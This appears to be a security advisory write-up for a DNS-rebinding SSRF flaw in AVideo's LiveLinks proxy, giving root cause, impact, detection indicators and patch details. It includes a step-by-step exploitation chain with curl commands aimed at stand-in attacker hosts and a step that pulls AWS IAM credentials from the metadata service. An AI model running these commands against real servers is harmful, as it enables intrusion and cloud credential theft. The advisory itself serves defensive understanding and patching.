CVE-2026-41055: 
PHP vulnerability analysis and mitigation

CVE-2026-41055 is a Server-Side Request Forgery (SSRF) vulnerability via DNS rebinding in WWBN AVideo's LiveLinks proxy, classified as an incomplete fix for the earlier CVE-2026-33039. Affecting AVideo versions 29.0 and below, the flaw exists in plugin/LiveLinks/proxy.php, where the added isSSRFSafeURL() validation is bypassed through DNS Time-of-Check Time-of-Use (TOCTOU) races. The vulnerability was published on April 21, 2026, with a patch commit available shortly after. It carries a CVSS v3.1 base score of 5.3 (Medium) per NVD, though the GitHub advisory assigns a higher score of 8.6 (High) reflecting the broader scope impact (GitHub Advisory).

The root cause is CWE-918 (Server-Side Request Forgery), specifically a DNS TOCTOU race condition in plugin/LiveLinks/proxy.php. The isSSRFSafeURL() function resolves a hostname once for validation, but PHP's get_headers() and fakeBrowser() (a raw cURL wrapper) each perform independent DNS resolutions. An attacker controlling a DNS server with TTL=0 can return a safe external IP during the validation call and an internal IP (e.g., 169.254.169.254, 127.0.0.1, or RFC1918 addresses) during the actual HTTP request — a classic DNS rebinding attack. Three distinct bypass vectors exist: (1) DNS rebinding on the initial URL, (2) DNS rebinding on redirect URLs validated by isSSRFSafeURL() but fetched by fakeBrowser(), and (3) a side-effect SSRF via get_headers() even with follow_location=0, since the HTTP request is still sent before redirect validation. Additionally, multiple Location headers in a response cause filter_var() to receive an array instead of a string, resulting in a validation bypass fall-through (GitHub Advisory).

A successful exploit allows an unauthenticated remote attacker to cause the AVideo server to make HTTP requests to internal endpoints it should not reach, including cloud metadata services (AWS 169.254.169.254, GCP metadata.google.internal, Azure), RFC1918 addresses, and localhost services. On cloud-hosted deployments, this can expose IAM role credentials (AccessKeyId, SecretAccessKey, Token), enabling lateral movement into cloud infrastructure. Internal network scanning and data exfiltration from HTTP-accessible internal services (admin panels, databases with HTTP interfaces, monitoring dashboards) are also possible, with full response bodies returned to the attacker (GitHub Advisory).

A Python proof-of-concept is publicly available in the GitHub security advisory, simulating all three DNS rebinding bypass vectors with a local DNSResolver class that demonstrates the TOCTOU race. The endpoint plugin/LiveLinks/proxy.php requires no authentication (it explicitly disables database and session initialization), making exploitation accessible to any network-reachable attacker. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.031% (0.000310), indicating low current exploitation probability (GitHub Advisory).

1. Reconnaissance: Identify internet-facing AVideo instances running version 29.0 or below using Shodan, Censys, or similar tools. Confirm the presence of the unauthenticated endpoint at plugin/LiveLinks/proxy.php.
2. Set up a malicious DNS server: Configure a DNS server for an attacker-controlled domain (e.g., rebind.attacker.com) with TTL=0. Program it to return a safe external IP (e.g., 93.184.216.34) on the first resolution and an internal target IP (e.g., 169.254.169.254 for AWS metadata, or 127.0.0.1) on subsequent resolutions.
3. Trigger the SSRF via DNS rebinding on the initial URL: Send a request to the proxy endpoint: curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=http://rebind.attacker.com/latest/meta-data/". The isSSRFSafeURL() check resolves the hostname to the safe IP and passes validation; get_headers() or fakeBrowser() resolves again and connects to the internal IP.
4. Alternative — exploit via HTTP redirect: Set up a redirect server returning 302 Location: http://169.254.169.254/latest/meta-data/ and send: curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect". The redirect target bypasses re-validation in vulnerable versions.
5. Exfiltrate cloud credentials: Escalate by redirecting to http://169.254.169.254/latest/meta-data/iam/security-credentials/ to retrieve temporary AWS IAM credentials (AccessKeyId, SecretAccessKey, Token) from the response body returned by the proxy (GitHub Advisory).

• Network: Outbound HTTP requests from the AVideo server to 169.254.169.254, metadata.google.internal, 169.254.169.254, RFC1918 addresses (10.x.x.x, 172.16-31.x.x, 192.168.x.x), or 127.0.0.1 originating from the web server process; repeated DNS queries for the same hostname in rapid succession (indicative of TTL=0 rebinding).
• Logs: Web server access logs showing requests to /plugin/LiveLinks/proxy.php with livelink parameter values pointing to attacker-controlled domains or internal addresses; error log entries containing LiveLinks proxy: SSRF protection blocked (indicating probing attempts) or absence thereof when bypass succeeds.
• Network: DNS query logs showing a single hostname resolving to different IPs within a very short time window (TTL=0 rebinding pattern); connections from the server to cloud metadata endpoints on port 80.
• File System: No direct file artifacts expected, but review application logs for unusual livelink parameter values in proxy requests (GitHub Advisory).

The definitive fix is commit 8d8fc0cadb425835b4861036d589abcea4d78ee8, which implements DNS pinning via CURLOPT_RESOLVE in a new proxyDNSPinnedFetch() function — resolving the hostname once inside isSSRFSafeURL(), capturing the validated IP, and forcing cURL to use that same IP for the actual TCP connection, eliminating the TOCTOU race. An intermediate fix (commit 0e56382921fc71e64829cd1ec35f04e338c70917) added redirect URL re-validation and follow_location=0, but did not address the DNS rebinding TOCTOU on the initial URL. Users should upgrade to a version of AVideo that includes commit 8d8fc0c or later. As a network-level workaround, restrict outbound HTTP connections from the AVideo server to block access to RFC1918 ranges, loopback, and link-local addresses (169.254.0.0/16) at the firewall or egress proxy level (GitHub Advisory, Patch Commit).

The Hacker Wire published a dedicated technical write-up on the vulnerability titled "WWBN AVideo LiveLinks SSRF via DNS Rebinding (CVE-2026-41055)", providing additional coverage of the DNS rebinding attack chain (The Hacker Wire). The vulnerability was credited to bugbunny.ai in the related CVE-2026-33039 advisory, reflecting active security research into the AVideo codebase. Community reception has been focused on the incomplete-fix pattern, as this CVE directly follows a prior SSRF (CVE-2026-33039) in the same endpoint, highlighting the difficulty of fully remediating DNS-based SSRF without DNS pinning.